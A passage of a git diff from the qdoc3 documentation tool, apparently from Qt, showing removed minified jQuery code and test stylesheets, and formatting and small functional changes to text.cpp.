-null))return this.elem[this.prop];return(a=parseFloat(c.css(this.elem,this.prop,a)))&&a>-10000?a:parseFloat(c.curCSS(this.elem,this.prop))||0},custom:function(a,b,d){function f(i){return e.step(i)}this.startTime=J();this.start=a;this.end=b;this.unit=d||this.unit||"px";this.now=this.start;this.pos=this.state=0;var e=this;f.elem=this.elem;if(f()&&c.timers.push(f)&&!W)W=setInterval(c.fx.tick,13)},show:function(){this.options.orig[this.prop]=c.style(this.elem,this.prop);this.options.show=true;this.custom(this.prop===
-"width"||this.prop==="height"?1:0,this.cur());c(this.elem).show()},hide:function(){this.options.orig[this.prop]=c.style(this.elem,this.prop);this.options.hide=true;this.custom(this.cur(),0)},step:function(a){var b=J(),d=true;if(a||b>=this.options.duration+this.startTime){this.now=this.end;this.pos=this.state=1;this.update();this.options.curAnim[this.prop]=true;for(var f in this.options.curAnim)if(this.options.curAnim[f]!==true)d=false;if(d){if(this.options.display!=null){this.elem.style.overflow=
-this.options.overflow;a=c.data(this.elem,"olddisplay");this.elem.style.display=a?a:this.options.display;if(c.css(this.elem,"display")==="none")this.elem.style.display="block"}this.options.hide&&c(this.elem).hide();if(this.options.hide||this.options.show)for(var e in this.options.curAnim)c.style(this.elem,e,this.options.orig[e]);this.options.complete.call(this.elem)}return false}else{e=b-this.startTime;this.state=e/this.options.duration;a=this.options.easing||(c.easing.swing?"swing":"linear");this.pos=
-c.easing[this.options.specialEasing&&this.options.specialEasing[this.prop]||a](this.state,e,0,1,this.options.duration);this.now=this.start+(this.end-this.start)*this.pos;this.update()}return true}};c.extend(c.fx,{tick:function(){for(var a=c.timers,b=0;b<a.length;b++)a[b]()||a.splice(b--,1);a.length||c.fx.stop()},stop:function(){clearInterval(W);W=null},speeds:{slow:600,fast:200,_default:400},step:{opacity:function(a){c.style(a.elem,"opacity",a.now)},_default:function(a){if(a.elem.style&&a.elem.style[a.prop]!=
-null)a.elem.style[a.prop]=(a.prop==="width"||a.prop==="height"?Math.max(0,a.now):a.now)+a.unit;else a.elem[a.prop]=a.now}}});if(c.expr&&c.expr.filters)c.expr.filters.animated=function(a){return c.grep(c.timers,function(b){return a===b.elem}).length};c.fn.offset="getBoundingClientRect"in r.documentElement?function(a){var b=this[0];if(a)return this.each(function(e){c.offset.setOffset(this,a,e)});if(!b||!b.ownerDocument)return null;if(b===b.ownerDocument.body)return c.offset.bodyOffset(b);var d=b.getBoundingClientRect(),
-f=b.ownerDocument;b=f.body;f=f.documentElement;return{top:d.top+(self.pageYOffset||c.support.boxModel&&f.scrollTop||b.scrollTop)-(f.clientTop||b.clientTop||0),left:d.left+(self.pageXOffset||c.support.boxModel&&f.scrollLeft||b.scrollLeft)-(f.clientLeft||b.clientLeft||0)}}:function(a){var b=this[0];if(a)return this.each(function(s){c.offset.setOffset(this,a,s)});if(!b||!b.ownerDocument)return null;if(b===b.ownerDocument.body)return c.offset.bodyOffset(b);c.offset.initialize();var d=b.offsetParent,f=
-b,e=b.ownerDocument,i,j=e.documentElement,n=e.body;f=(e=e.defaultView)?e.getComputedStyle(b,null):b.currentStyle;for(var o=b.offsetTop,m=b.offsetLeft;(b=b.parentNode)&&b!==n&&b!==j;){if(c.offset.supportsFixedPosition&&f.position==="fixed")break;i=e?e.getComputedStyle(b,null):b.currentStyle;o-=b.scrollTop;m-=b.scrollLeft;if(b===d){o+=b.offsetTop;m+=b.offsetLeft;if(c.offset.doesNotAddBorder&&!(c.offset.doesAddBorderForTableAndCells&&/^t(able|d|h)$/i.test(b.nodeName))){o+=parseFloat(i.borderTopWidth)||
-0;m+=parseFloat(i.borderLeftWidth)||0}f=d;d=b.offsetParent}if(c.offset.subtractsBorderForOverflowNotVisible&&i.overflow!=="visible"){o+=parseFloat(i.borderTopWidth)||0;m+=parseFloat(i.borderLeftWidth)||0}f=i}if(f.position==="relative"||f.position==="static"){o+=n.offsetTop;m+=n.offsetLeft}if(c.offset.supportsFixedPosition&&f.position==="fixed"){o+=Math.max(j.scrollTop,n.scrollTop);m+=Math.max(j.scrollLeft,n.scrollLeft)}return{top:o,left:m}};c.offset={initialize:function(){var a=r.body,b=r.createElement("div"),
-d,f,e,i=parseFloat(c.curCSS(a,"marginTop",true))||0;c.extend(b.style,{position:"absolute",top:0,left:0,margin:0,border:0,width:"1px",height:"1px",visibility:"hidden"});b.innerHTML="<div style='position:absolute;top:0;left:0;margin:0;border:5px solid #000;padding:0;width:1px;height:1px;'><div></div></div><table style='position:absolute;top:0;left:0;margin:0;border:5px solid #000;padding:0;width:1px;height:1px;' cellpadding='0' cellspacing='0'><tr><td></td></tr></table>";a.insertBefore(b,a.firstChild);
-d=b.firstChild;f=d.firstChild;e=d.nextSibling.firstChild.firstChild;this.doesNotAddBorder=f.offsetTop!==5;this.doesAddBorderForTableAndCells=e.offsetTop===5;f.style.position="fixed";f.style.top="20px";this.supportsFixedPosition=f.offsetTop===20||f.offsetTop===15;f.style.position=f.style.top="";d.style.overflow="hidden";d.style.position="relative";this.subtractsBorderForOverflowNotVisible=f.offsetTop===-5;this.doesNotIncludeMarginInBodyOffset=a.offsetTop!==i;a.removeChild(b);c.offset.initialize=c.noop},
-bodyOffset:function(a){var b=a.offsetTop,d=a.offsetLeft;c.offset.initialize();if(c.offset.doesNotIncludeMarginInBodyOffset){b+=parseFloat(c.curCSS(a,"marginTop",true))||0;d+=parseFloat(c.curCSS(a,"marginLeft",true))||0}return{top:b,left:d}},setOffset:function(a,b,d){if(/static/.test(c.curCSS(a,"position")))a.style.position="relative";var f=c(a),e=f.offset(),i=parseInt(c.curCSS(a,"top",true),10)||0,j=parseInt(c.curCSS(a,"left",true),10)||0;if(c.isFunction(b))b=b.call(a,d,e);d={top:b.top-e.top+i,left:b.left-
-e.left+j};"using"in b?b.using.call(a,d):f.css(d)}};c.fn.extend({position:function(){if(!this[0])return null;var a=this[0],b=this.offsetParent(),d=this.offset(),f=/^body|html$/i.test(b[0].nodeName)?{top:0,left:0}:b.offset();d.top-=parseFloat(c.curCSS(a,"marginTop",true))||0;d.left-=parseFloat(c.curCSS(a,"marginLeft",true))||0;f.top+=parseFloat(c.curCSS(b[0],"borderTopWidth",true))||0;f.left+=parseFloat(c.curCSS(b[0],"borderLeftWidth",true))||0;return{top:d.top-f.top,left:d.left-f.left}},offsetParent:function(){return this.map(function(){for(var a=
-this.offsetParent||r.body;a&&!/^body|html$/i.test(a.nodeName)&&c.css(a,"position")==="static";)a=a.offsetParent;return a})}});c.each(["Left","Top"],function(a,b){var d="scroll"+b;c.fn[d]=function(f){var e=this[0],i;if(!e)return null;if(f!==v)return this.each(function(){if(i=ua(this))i.scrollTo(!a?f:c(i).scrollLeft(),a?f:c(i).scrollTop());else this[d]=f});else return(i=ua(e))?"pageXOffset"in i?i[a?"pageYOffset":"pageXOffset"]:c.support.boxModel&&i.document.documentElement[d]||i.document.body[d]:e[d]}});
-c.each(["Height","Width"],function(a,b){var d=b.toLowerCase();c.fn["inner"+b]=function(){return this[0]?c.css(this[0],d,false,"padding"):null};c.fn["outer"+b]=function(f){return this[0]?c.css(this[0],d,false,f?"margin":"border"):null};c.fn[d]=function(f){var e=this[0];if(!e)return f==null?null:this;if(c.isFunction(f))return this.each(function(i){var j=c(this);j[d](f.call(this,i,j[d]()))});return"scrollTo"in e&&e.document?e.document.compatMode==="CSS1Compat"&&e.document.documentElement["client"+b]||
-e.document.body["client"+b]:e.nodeType===9?Math.max(e.documentElement["client"+b],e.body["scroll"+b],e.documentElement["scroll"+b],e.body["offset"+b],e.documentElement["offset"+b]):f===v?c.css(e,d):this.css(d,typeof f==="string"?f:f+"px")}});z.jQuery=z.$=c})(window);
diff --git a/tools/qdoc3/test/style/style.css b/tools/qdoc3/test/style/style.css
deleted file mode 100644
index dff0772..0000000
--- a/tools/qdoc3/test/style/style.css
+++ /dev/null
@@ -1,1051 +0,0 @@
-@media screen
-{
- html
- {
- color: #000000;
- background: #FFFFFF;
- }
- body, div, dl, dt, dd, ul, ol, li, h1, h2, h3, h4, h5, h6, pre, code, form, fieldset, legend, input, button, textarea, p, blockquote, th, td
- {
- margin: 0;
- padding: 0;
- }
- table
- {
- border-collapse: collapse;
- border-spacing: 0;
- }
- fieldset, img
- {
- border: 0;
- }
- address, caption, cite, code, dfn, em, strong, th, var, optgroup
- {
- font-style: inherit;
- font-weight: inherit;
- }
- del, ins
- {
- text-decoration: none;
- }
- li
- {
- list-style: none;
- }
- caption, th
- {
- text-align: left;
- }
- h1, h2, h3, h4, h5, h6
- {
- font-size: 100%;
- font-weight: normal;
- }
- q:before, q:after
- {
- content: '';
- }
- abbr, acronym
- {
- border: 0;
- font-variant: normal;
- }
- sup
- {
- vertical-align: baseline;
- }
- sub
- {
- vertical-align: baseline;
- }
- .heading
- {
- font: normal 600 16px/1.0 Arial;
- padding-bottom: 15px;
- }
- .subtitle
- {
- font-size: 13px;
- }
- .small-subtitle
- {
- font-size: 13px;
- }
- legend
- {
- color: #000000;
- }
- input, button, textarea, select, optgroup, option
- {
- font-family: inherit;
- font-size: inherit;
- font-style: inherit;
- font-weight: inherit;
- }
- input, button, textarea, select
- {
- font-size: 100%;
- }
- html
- {
- background-color: #e5e5e5;
- }
- body
- {
- background: #e6e7e8 url(../images/page_bg.png) repeat-x 0 0;
- font: normal 13px/1.2 Verdana;
- color: #363534;
- }
- strong
- {
- font-weight: bold;
- }
- em
- {
- font-style: italic;
- }
- a
- {
- color: #00732f;
- text-decoration: none;
- }
- .header, .footer, .wrapper
- {
- min-width: 600px;
- max-width: 1500px;
- margin: 0 30px;
- }
- .wrapper
- {
- background: url(../images/bg_r.png) repeat-y 100% 0;
- }
- .wrapper .hd
- {
- padding-left: 216px;
- height: 15px;
- background: url(../images/page.png) no-repeat 0 0;
- overflow: hidden;
- }
- .offline .wrapper .hd
- {
- background: url(../images/page.png) no-repeat 0 -15px;
- }
- .wrapper .hd span
- {
- height: 15px;
- display: block;
- overflow: hidden;
- background: url(../images/page.png) no-repeat 100% -30px;
- }
- .wrapper .bd
- {
- background: url(../images/bg_l.png) repeat-y 0 0;
- position: relative;
- }
- .offline .wrapper .bd
- {
- background: url(../images/bg_l_blank.png) repeat-y 0 0;
- }
- .wrapper .ft
- {
- padding-left: 216px;
- height: 15px;
- background: url(../images/page.png) no-repeat 0 -75px;
- overflow: hidden;
- }
- .offline .wrapper .ft
- {
- background: url(../images/page.png) no-repeat 0 -90px;
- }
- .wrapper .ft span
- {
- height: 15px;
- display: block;
- background: url(../images/page.png) no-repeat 100% -60px;
- overflow: hidden;
- }
- .header, .footer
- {
- display: block;
- clear: both;
- overflow: hidden;
- }
- .header
- {
- height: 115px;
- position: relative;
- }
- .header .icon
- {
- position: absolute;
- top: 13px;
- left: 0;
- }
- .header .qtref
- {
- position: absolute;
- top: 28px;
- left: 88px;
- width: 302px;
- height: 22px;
- }
- .header .qtref span
- {
- display: block;
- width: 302px;
- height: 22px;
- text-indent: -999em;
- background: url(../images/sprites-combined.png) no-repeat -78px -235px;
- }
-
- .sidebar
- {
- float: left;
- margin-left: 5px;
- width: 200px;
- font-size: 11px;
- }
-
- .offline .sidebar, .offline .feedback, .offline .t_button
- {
- display: none;
- }
-
- .sidebar .searchlabel
- {
- padding: 0 0 2px 17px;
- font: normal bold 11px/1.2 Verdana;
- }
-
- .sidebar .search
- {
- padding: 0 15px 0 16px;
- }
-
- .sidebar .search form
- {
- background: url(../images/sprites-combined.png) no-repeat -6px -348px;
- height:21px;
- padding:2px 0 0 5px;
- width:167px;
- }
-
- .sidebar .search form input#pageType
- {
- width: 158px;
- height: 19px;
- padding: 0;
- border: none;
- outline: none;
- font: 13px/1.2 Verdana;
- }
-
- .sidebar .box
- {
- padding: 17px 15px 5px 16px;
- }
-
- .sidebar .box .first
- {
- background-image: none;
- }
-
- .sidebar .box h2
- {
- font: normal 18px/1.2 Arial;
- padding: 0;
- min-height: 32px;
- }
- .sidebar .box h2 span
- {
- overflow: hidden;
- display: inline-block;
- }
- .sidebar .box#lookup h2
- {
- background-image: none;
- }
- .sidebar #lookup.box h2 span
- {
- background: url(../images/sprites-combined.png) no-repeat -6px -311px;
- width: 27px;
- height: 35px;
- margin-right: 13px;
- }
- .sidebar .box#topics h2
- {
- background-image: none;
- }
- .sidebar #topics.box h2 span
- {
- background: url(../images/sprites-combined.png) no-repeat -94px -311px;
- width: 27px;
- height: 32px;
- margin-right: 13px;
- }
- .sidebar .box#examples h2
- {
- background-image: none;
- }
- .sidebar #examples.box h2 span
- {
- background: url(../images/sprites-combined.png) no-repeat -48px -311px;
- width: 30px;
- height: 31px;
- margin-right: 9px;
- }
-
- .sidebar .box .list
- {
- display: block;
- }
- .sidebar .box .live
- {
- display: none;
- height: 100px;
- overflow: auto;
- }
- .list li a:hover, .live li a:hover
- {
- text-decoration: underline;
- }
- .sidebar .box ul
- {
- }
- .sidebar .box ul li
- {
- padding-left: 12px;
- background: url(../images/bullet_gt.png) no-repeat 0 5px;
- margin-bottom: 15px;
- }
- .sidebar .bottombar
- {
- background: url(../images/box_bg.png) repeat-x 0 bottom;
- }
- .wrap
- {
- margin: 0 5px 0 208px;
- overflow: visible;
- }
- .offline .wrap
- {
- margin: 0 5px 0 5px;
- }
- .wrap .toolbar
- {
- background-color: #fafafa;
- border-bottom: 1px solid #d1d1d1;
- height: 20px;
- position: relative;
- }
- .wrap .toolbar .toolblock
- {
- position: absolute;
- }
- .wrap .toolbar .breadcrumb
- {
- font-size: 11px;
- line-height: 1;
- padding: 0 0 10px 21px;
- height: 10px;
- }
- .wrap .toolbar .toolbuttons
- {
- padding: 0 0 10px 21px;
- right: 5px;
- vertical-align: middle;
- overflow: hidden;
- }
- .wrap .toolbar .toolbuttons .active
- {
- color: #00732F;
- }
- .wrap .toolbar .toolbuttons ul
- {
- float: right;
- }
- .wrap .toolbar .toolbuttons li
- {
- float: left;
- text-indent: -10px;
- margin-top: -5px;
- margin-right: 15px;
- font-weight: bold;
- color: #B0ADAB;
- }
-
- .toolbuttons #print
- {
- border-left: 1px solid #c5c4c4;
- margin-top: 0;
- padding-left: 7px;
- text-indent: 0;
- }
- .toolbuttons #print a
- {
- width: 16px;
- height: 16px;
- }
-
- .toolbuttons #print a span
- {
- width: 16px;
- height: 16px;
- text-indent: -999em;
- display: block;
- overflow: hidden;
- background: url(../images/sprites-combined.png) no-repeat -137px -311px;
- }
-
- .toolbuttons #smallA
- {
- font-size: 10pt;
- }
- .toolbuttons #medA
- {
- font-size: 12pt;
- }
- .toolbuttons #bigA
- {
- font-size: 14pt;
- margin-right: 7px;
- }
-
- #smallA:hover, #medA:hover, #bigA:hover
- {
- color: #00732F;
- }
-
- .offline .wrap .breadcrumb
- {
- }
-
- .wrap .breadcrumb ul
- {
- }
- .wrap .breadcrumb ul li
- {
- float: left;
- background: url(../images/breadcrumb.png) no-repeat 0 3px;
- padding-left: 15px;
- margin-left: 15px;
- font-weight: bold;
- }
- .wrap .breadcrumb ul li.last
- {
- font-weight: normal;
- }
- .wrap .breadcrumb ul li a
- {
- color: #363534;
- }
- .wrap .breadcrumb ul li.first
- {
- background-image: none;
- padding-left: 0;
- margin-left: 0;
- }
- .wrap .content
- {
- padding: 30px;
- }
-
- .wrap .content li
- {
- padding-left: 12px;
- background: url(../images/bullet_sq.png) no-repeat 0 5px;
- font: normal 400 10pt/1 Verdana;
- color: #44a51c;
- margin-bottom: 10px;
- }
- .content li:hover
- {
- text-decoration: underline;
- }
-
- .offline .wrap .content
- {
- padding-top: 15px;
- }
-
- .wrap .content h1
- {
- font: 600 18px/1.2 Arial;
- }
- .wrap .content h2
- {
- font: 600 16px/1.2 Arial;
- }
- .wrap .content h3
- {
- font: 600 14px/1.2 Arial;
- }
- .wrap .content p
- {
- line-height: 20px;
- padding: 10px 5px 10px 5px;
- }
- .wrap .content ul
- {
- padding-left: 25px;
- }
- a:hover
- {
- color: #4c0033;
- text-decoration: underline;
- }
- .content a:visited
- {
- color: #4c0033;
- text-decoration: none;
- }
- .footer
- {
- min-height: 100px;
- color: #797775;
- font: normal 9px/1 Verdana;
- text-align: center;
- padding-top: 40px;
- background-color: #E6E7E8;
- margin: 0;
- }
- .feedback
- {
- float: none;
- position: absolute;
- right: 15px;
- bottom: 10px;
- font: normal 8px/1 Verdana;
- color: #B0ADAB;
- }
- .feedback:hover
- {
- float: right;
- font: normal 8px/1 Verdana;
- color: #00732F;
- text-decoration: underline;
- }
- .header:after, .footer:after, .breadcrumb:after, .wrap .content:after, .group:after
- {
- content: ".";
- display: block;
- height: 0;
- clear: both;
- visibility: hidden;
- }
- #nav-topright
- {
- height: 70px;
- }
-
- #nav-topright ul
- {
- list-style-type: none;
- float: right;
- width: 370px;
- margin-top: 11px;
- }
-
- #nav-topright li
- {
- display: inline-block;
- margin-right: 20px;
- float: left;
- }
-
- #nav-topright li.nav-topright-last
- {
- margin-right: 0;
- }
-
- #nav-topright li a
- {
- background: transparent url(../images/sprites-combined.png) no-repeat;
- height: 18px;
- display: block;
- overflow: hidden;
- text-indent: -9999px;
- }
-
- #nav-topright li.nav-topright-home a
- {
- width: 65px;
- background-position: -2px -91px;
- }
-
- #nav-topright li.nav-topright-home a:hover
- {
- background-position: -2px -117px;
- }
-
-
- #nav-topright li.nav-topright-dev a
- {
- width: 30px;
- background-position: -76px -91px;
- }
-
- #nav-topright li.nav-topright-dev a:hover
- {
- background-position: -76px -117px;
- }
-
-
- #nav-topright li.nav-topright-labs a
- {
- width: 40px;
- background-position: -114px -91px;
- }
-
- #nav-topright li.nav-topright-labs a:hover
- {
- background-position: -114px -117px;
- }
-
- #nav-topright li.nav-topright-doc a
- {
- width: 32px;
- background-position: -162px -91px;
- }
-
- #nav-topright li.nav-topright-doc a:hover, #nav-topright li.nav-topright-doc-active a
- {
- background-position: -162px -117px;
- }
-
- #nav-topright li.nav-topright-blog a
- {
- width: 40px;
- background-position: -203px -91px;
- }
-
- #nav-topright li.nav-topright-blog a:hover, #nav-topright li.nav-topright-blog-active a
- {
- background-position: -203px -117px;
- }
-
- #nav-topright li.nav-topright-shop a
- {
- width: 40px;
- background-position: -252px -91px;
- }
-
- #nav-topright li.nav-topright-shop a:hover, #nav-topright li.nav-topright-shop-active a
- {
- background-position: -252px -117px;
- }
-
- #nav-logo
- {
- background: transparent url(../images/sprites-combined.png ) no-repeat 0 -225px;
- left: -3px;
- position: absolute;
- width: 75px;
- height: 75px;
- top: 13px;
- }
- #nav-logo a
- {
- width: 75px;
- height: 75px;
- display: block;
- text-indent: -9999px;
- overflow: hidden;
- }
-
-
- .shortCut-topleft-inactive
- {
- padding-left: 3px;
- background: transparent url( ../images/sprites-combined.png) no-repeat 0px -58px;
- height: 20px;
- width: 47px;
- }
- .shortCut-topleft-inactive span
- {
- font-variant: normal;
- }
- #shortCut
- {
- padding-top: 10px;
- font-weight: bolder;
- color: #b0adab;
- }
- #shortCut ul
- {
- list-style-type: none;
- float: left;
- width: 347px;
- margin-left: 100px;
- }
- #shortCut li
- {
- display: inline-block;
- margin-right: 25px;
- float: left;
- white-space: nowrap;
- }
- #shortCut li a
- {
- color: #b0adab;
- }
- #shortCut li a:hover
- {
- color: #44a51c;
- }
-
- hr
- {
- background-color: #E6E6E6;
- border: 1px solid #E6E6E6;
- height: 1px;
- width: 100%;
- text-align: left;
- margin: 15px 0px 15px 0px;
- }
-
- .content .alignedsummary
- {
- margin: 15px;
- }
- pre
- {
- border: 1px solid #DDDDDD;
- margin: 0 20px 10px 10px;
- padding: 20px 15px 20px 20px;
- overflow-x: auto;
- }
- table, pre
- {
- -moz-border-radius: 7px 7px 7px 7px;
- background-color: #F6F6F6;
- border: 1px solid #E6E6E6;
- border-collapse: separate;
- font-size: 11px;
- /*min-width: 395px;*/
- margin-bottom: 25px;
- display: inline-block;
- }
- thead
- {
- margin-top: 5px;
- }
- th
- {
- padding: 3px 15px 3px 15px;
- }
- td
- {
- padding: 3px 15px 3px 20px;
- }
- table tr.odd
- {
- border-left: 1px solid #E6E6E6;
- background-color: #F6F6F6;
- color: #66666E;
- }
- table tr.even
- {
- border-left: 1px solid #E6E6E6;
- background-color: #ffffff;
- color: #66666E;
- }
- table tr.odd:hover
- {
- background-color: #E6E6E6;
- }
- table tr.even:hover
- {
- background-color: #E6E6E6;
- }
-
- span.comment
- {
- color: #8B0000;
- font-style: italic;
- }
- span.string, span.char
- {
- color: #254117;
- }
-
- .qmltype
- {
- text-align: center;
- font-size: 160%;
- }
- .qmlreadonly
- {
- padding-left: 3px;
- float: right;
- color: #254117;
- }
-
- .qmldefault
- {
- padding-left: 3px;
- float: right;
- color: red;
- }
-
- .qmldoc
- {
- }
-
- *.qmlitem p
- {
- }
-
- #feedbackBox
- {
- display: none;
- -moz-border-radius: 7px 7px 7px 7px;
- border: 1px solid #DDDDDD;
- position: fixed;
- top: 100px;
- left: 33%;
- height: 190px;
- width: 400px;
- padding: 5px;
- background-color: #e6e7e8;
- z-index: 4;
- }
- #feedcloseX a
- {
- display: inline;
- padding: 5px 5px 0 0;
- margin-bottom: 3px;
- color: #363534;
- font-weight: 600;
- float: right;
- text-decoration: none;
- }
-
- #feedbox
- {
- display: inline;
- width: 370px;
- height: 120px;
- margin: 0px 25px 10px 15px;
- }
- #feedsubmit
- {
- display: inline;
- float: right;
- margin: 4px 32px 0 0;
- }
- #blurpage
- {
- display: none;
- position: fixed;
- float: none;
- top: 0px;
- left: 0px;
- right: 0px;
- bottom: 0px;
- background: transparent url(../images/feedbackground.png) 0 0;
- z-index: 3;
- }
- .toc
- {
- float: right;
- -moz-border-radius: 7px 7px 7px 7px;
- background-color: #F6F6F6;
- border: 1px solid #DDDDDD;
- margin: 0 20px 10px 10px;
- padding: 20px 15px 20px 20px;
- height: auto;
- width: 200px;
- }
-
- .toc h3
- {
- font: 600 12px/1.2 Arial;
- }
-
- .wrap .content .toc ul
- {
- padding-left: 0px;
- }
-
-
- .wrap .content .toc .level2
- {
- margin-left: 15px;
- }
-
- .content .toc li
- {
- font: normal 10px/1.2 Verdana;
- background: url(../images/bullet_dn.png) no-repeat 0 5px;
- }
-
- .relpage
- {
- -moz-border-radius: 7px 7px 7px 7px;
- border: 1px solid #DDDDDD;
- padding: 25px 25px;
- clear: both;
- }
- .relpage ul
- {
- float: none;
- padding: 15px;
- }
- .content .relpage li
- {
- font: normal 11px/1.2 Verdana;
- }
- h3.fn, span.fn
- {
- background-color: #F6F6F6;
- border-width: 1px;
- border-style: solid;
- border-color: #E6E6E6;
- font-weight: bold;
- }
-
-
- /* start index box */
- .indexbox
- {
- width: 100%;
- display:inline-block;
- }
-
- .indexboxcont
- {
- display: block;
- /* overflow: hidden;*/
- }
-
- .indexboxbar
- {
- background: transparent url(../images/horBar.png ) repeat-x left bottom;
- margin-bottom: 25px;
- /* background-image: none;
- border-bottom: 1px solid #e2e2e2;*/
- }
-
- .indexboxcont .section
- {
- display: inline-block;
- width: 49%;
- *width:42%;
- _width:42%;
- padding:0 2% 0 1%;
- vertical-align:top;
-
-}
-
- .indexboxcont .indexIcon
- {
- width: 11%;
- *width:18%;
- _width:18%;
- overflow:hidden;
-
-}
- .indexboxcont .section p
- {
- padding-top: 20px;
- padding-bottom: 20px;
- }
- .indexboxcont .sectionlist
- {
- display: inline-block;
- width: 33%;
- padding: 0;
- }
- .indexboxcont .sectionlist ul
- {
- margin-bottom: 20px;
- }
-
- .indexboxcont .sectionlist ul li
- {
- line-height: 12px;
- }
-
- .content .indexboxcont li
- {
- font: normal 600 13px/1 Verdana;
- }
-
- .indexbox a:hover, .indexbox a:visited:hover
- {
- color: #4c0033;
- text-decoration: underline;
- }
-
- .indexbox a:visited
- {
- color: #00732f;
- text-decoration: none;
- }
-
- .indexboxcont:after
- {
- content: ".";
- display: block;
- height: 0;
- clear: both;
- visibility: hidden;
- }
-
- .indexbox .indexIcon span
- {
- display: block;
- }
-
- .indexbox.guide .indexIcon span
- {
- width: 96px;
- height: 137px;
- background: url(../images/sprites-combined.png) no-repeat -5px -376px;
- padding: 0;
- }
-
- .indexbox.tools .indexIcon span
- {
- width: 115px;
- height: 137px;
- background: url(../images/sprites-combined.png) no-repeat -111px -376px;
- padding: 0;
- }
-
- .lastcol
- {
- display: inline-block;
- vertical-align: top;
- padding: 0;
- max-width: 25%;
- }
-
- .tricol .lastcol
- {
- margin-left: -6px;
- }
- /* end indexbox */
-}
-/* end of screen media */
-
-/* start of print media */
-
-@media print
-{
- input, textarea, .header, .footer, .toolbar, .feedback, .wrapper .hd, .wrapper .bd .sidebar, .wrapper .ft
- {
- display: none;
- background: none;
- }
- .content
- {
- position: absolute;
- top: 0px;
- left: 0px;
- background: none;
- display: block;
- }
-}
-/* end of print media */
diff --git a/tools/qdoc3/test/style/style_ie6.css b/tools/qdoc3/test/style/style_ie6.css
deleted file mode 100644
index 16fb850..0000000
--- a/tools/qdoc3/test/style/style_ie6.css
+++ /dev/null
@@ -1,54 +0,0 @@
-.indexbox, .indexboxcont, .group {
- zoom: 1;
- height: 1%;
-}
-
-.sidebar {
- margin-left: 3px;
- width: 199px;
- overflow: hidden;
-}
-
-.sidebar .search form {
- position: relative;
-}
-
-.sidebar .search form fieldset {
- position: absolute;
- margin-top: -1px;
-}
-
-.sidebar .search form input#searchstring {
- border: 1px solid #fff;
- height: 18px;
-}
-
-.wrap {
- zoom: 1;
-}
-
-.content,
-.toolbar {
- zoom: 1;
- margin-left: -3px;
- position: relative;
-}
-
-.indexbox {
- clear: both;
-}
-
-.indexboxcont .section {
- zoom: 1;
- float: left;
-}
-
-.indexboxcont .sectionlist {
- zoom: 1;
- float: left;
-}
-
-.wrap .toolbar .toolbuttons li {
- text-indent: 0;
- margin-right: 8px;
-} \ No newline at end of file
diff --git a/tools/qdoc3/test/style/style_ie7.css b/tools/qdoc3/test/style/style_ie7.css
deleted file mode 100644
index afbff5f..0000000
--- a/tools/qdoc3/test/style/style_ie7.css
+++ /dev/null
@@ -1,19 +0,0 @@
-.indexbox, .indexboxcont, .group {
- min-height: 1px;
-}
-
-.sidebar .search form input#searchstring {
- border: 1px solid #fff;
- height: 17px;
-}
-
-
-.indexboxcont .section {
- zoom: 1;
- float: left;
-}
-
-.indexboxcont .sectionlist {
- zoom: 1;
- float: left;
-}
diff --git a/tools/qdoc3/test/style/style_ie8.css b/tools/qdoc3/test/style/style_ie8.css
deleted file mode 100644
index e69de29..0000000
--- a/tools/qdoc3/test/style/style_ie8.css
+++ /dev/null
diff --git a/tools/qdoc3/text.cpp b/tools/qdoc3/text.cpp
index dba3a1d..e9a97fe 100644
--- a/tools/qdoc3/text.cpp
+++ b/tools/qdoc3/text.cpp
@@ -60,10 +60,10 @@ Text::Text(const QString &str)
operator<<(str);
}
-Text::Text( const Text& text )
+Text::Text(const Text& text)
: first(0), last(0)
{
- operator=( text );
+ operator=(text);
}
Text::~Text()
@@ -71,41 +71,41 @@ Text::~Text()
clear();
}
-Text& Text::operator=( const Text& text )
+Text& Text::operator=(const Text& text)
{
- if ( this != &text ) {
+ if (this != &text) {
clear();
- operator<<( text );
+ operator<<(text);
}
return *this;
}
-Text& Text::operator<<( Atom::Type atomType )
+Text& Text::operator<<(Atom::Type atomType)
{
- return operator<<( Atom(atomType) );
+ return operator<<(Atom(atomType));
}
-Text& Text::operator<<( const QString& string )
+Text& Text::operator<<(const QString& string)
{
- return operator<<( Atom(Atom::String, string) );
+ return operator<<(Atom(Atom::String, string));
}
-Text& Text::operator<<( const Atom& atom )
+Text& Text::operator<<(const Atom& atom)
{
- if ( first == 0 ) {
- first = new Atom( atom.type(), atom.string() );
+ if (first == 0) {
+ first = new Atom(atom.type(), atom.string());
last = first;
} else {
- last = new Atom( last, atom.type(), atom.string() );
+ last = new Atom(last, atom.type(), atom.string());
}
return *this;
}
-Text& Text::operator<<( const Text& text )
+Text& Text::operator<<(const Text& text)
{
- const Atom *atom = text.firstAtom();
- while ( atom != 0 ) {
- operator<<( *atom );
+ const Atom* atom = text.firstAtom();
+ while (atom != 0) {
+ operator<<(*atom);
atom = atom->next();
}
return *this;
@@ -113,10 +113,10 @@ Text& Text::operator<<( const Text& text )
void Text::stripFirstAtom()
{
- if ( first != 0 ) {
- if ( first == last )
+ if (first != 0) {
+ if (first == last)
last = 0;
- Atom *oldFirst = first;
+ Atom* oldFirst = first;
first = first->next();
delete oldFirst;
}
@@ -124,16 +124,16 @@ void Text::stripFirstAtom()
void Text::stripLastAtom()
{
- if ( last != 0 ) {
- Atom *oldLast = last;
- if ( first == last ) {
+ if (last != 0) {
+ Atom* oldLast = last;
+ if (first == last) {
first = 0;
last = 0;
} else {
last = first;
- while ( last->next() != oldLast )
+ while (last->next() != oldLast)
last = last->next();
- last->setNext( 0 );
+ last->setNext(0);
}
delete oldLast;
}
@@ -142,59 +142,65 @@ void Text::stripLastAtom()
QString Text::toString() const
{
QString str;
- const Atom *atom = firstAtom();
- while ( atom != 0 ) {
- if ( atom->type() == Atom::String || atom->type() == Atom::AutoLink )
+ const Atom* atom = firstAtom();
+ while (atom != 0) {
+ if (atom->type() == Atom::String ||
+ atom->type() == Atom::AutoLink ||
+ atom->type() == Atom::GuidLink)
str += atom->string();
atom = atom->next();
}
return str;
}
-Text Text::subText( Atom::Type left, Atom::Type right, const Atom *from ) const
+Text Text::subText(Atom::Type left, Atom::Type right, const Atom* from, bool inclusive) const
{
- const Atom *begin = from ? from : firstAtom();
- const Atom *end;
+ const Atom* begin = from ? from : firstAtom();
+ const Atom* end;
- while ( begin != 0 && begin->type() != left )
- begin = begin->next();
- if ( begin != 0 )
+ while (begin != 0 && begin->type() != left)
begin = begin->next();
+ if (begin != 0) {
+ if (!inclusive)
+ begin = begin->next();
+ }
end = begin;
- while ( end != 0 && end->type() != right )
+ while (end != 0 && end->type() != right)
